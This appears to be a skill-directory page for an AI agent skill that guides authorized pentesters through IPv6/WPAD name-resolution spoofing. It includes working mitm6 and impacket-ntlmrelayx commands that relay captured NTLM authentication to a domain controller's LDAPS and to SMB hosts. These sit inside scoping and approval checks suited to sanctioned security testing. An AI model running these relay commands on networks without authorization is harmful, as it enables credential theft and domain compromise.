# Mitm6

> Use for IPv6 and WPAD-related name-resolution assessment during authorized internal pentests. Trigger on approved relay-path testing, identity exposure review, and measuring whether IPv6 behavior enables credential risk.

- Skill: `timsonner/mitm6` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/mitm6`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/mitm6/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/mitm6

---


# Mitm6

## Purpose

Use this skill only when the rules of engagement explicitly permit IPv6-based name-resolution and relay-path assessment.

## Phase Fit

- Primary: Vulnerability Analysis, Validation and Controlled Impact Demonstration
- Secondary: Detection and Response Assessment

## Use When

- Need to validate whether IPv6 behavior or WPAD enables credential capture or relay risk.
- Need to support an approved relay-path assessment.
- Need to test whether defenders can detect this activity.

## Avoid When

- IPv6 or relay-style testing is not explicitly approved.
- The environment is highly sensitive to network interference.

## Inputs

- Approved interface and segment
- Explicit approval boundaries for analyze versus active use
- Defender coordination requirements if detection validation is in scope

## Procedure

1. Confirm that the segment and impact level are explicitly approved.
2. Keep the scope limited to the approved hosts and window.
3. Coordinate with complementary tooling only when the engagement allows it.
4. Capture only the evidence needed to show the weakness.
5. Stop immediately if the activity exceeds the approved boundary.

## Command Syntax

Replace sample interfaces and domains with approved in-scope values.

```bash
# Start IPv6 spoofing for the target domain
mitm6 -i eth0 -d contoso.com

# Ignore hosts without FQDN in DHCPv6 responses
mitm6 -i eth0 -d contoso.com --ignore-nofqdn

# Combined with ntlmrelayx for LDAP relay
mitm6 -d contoso.com &
impacket-ntlmrelayx -6 -t ldaps://dc01.contoso.com --delegate-access

# Combined with ntlmrelayx for SMB relay
mitm6 -d contoso.com &
impacket-ntlmrelayx -6 -t smb://10.10.10.100 -smb2support
```

## Evidence to Capture

- Whether IPv6 behavior creates a relay or credential-risk path
- Exact segment and domain scope used
- Detection or logging observations if defenders are in scope

## Safety Boundaries

- Use only with explicit written approval.
- Protect all captured authentication material as sensitive evidence.